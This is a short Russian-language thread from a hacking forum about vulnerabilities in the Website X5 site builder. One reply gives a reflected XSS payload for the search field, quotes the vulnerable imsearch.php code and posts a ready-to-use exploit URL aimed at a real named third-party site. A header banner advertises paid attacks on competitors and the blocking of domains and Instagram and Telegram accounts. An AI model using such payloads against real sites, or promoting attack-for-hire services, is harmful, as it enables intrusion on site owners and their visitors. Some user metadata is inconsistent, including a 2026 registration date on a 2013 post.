Уязвимости в Website x5

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Уязвимости в Website x5

Опции темы

Поиск в этой теме

Опции просмотра

10.01.2013, 05:29

SofiaLoar

Новичок

Регистрация: 26.04.2026

Сообщений: 0

С нами: 28659

Репутация: 0

Кто-нибудь знает что-нибудь про это?

http://www.websitex5.com/

http://www.websitexs.ru/

пример сайта - http://islam44.com/

𝕏 Twitter Reddit Telegram Копировать ссылку

10.01.2013, 05:37

cat1vo

Новичок

Регистрация: 12.08.2009

Сообщений: 1

С нами: 8814194

Репутация: 0

XSS:

В поле поиска на сайте вбейте ">alert(111)

Уязвимый кусок кода imsearch.php:

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'search'[/COLOR][COLOR="#007700"]] !=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]imSearch[/COLOR][COLOR="#007700"]();

[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]search[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'search'[/COLOR][COLOR="#007700"]]);

}[/COLOR][/COLOR]

Пример:

Цитата:

Сообщение от None

http://islam44.com/imsearch.php?search=">alert(111)

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход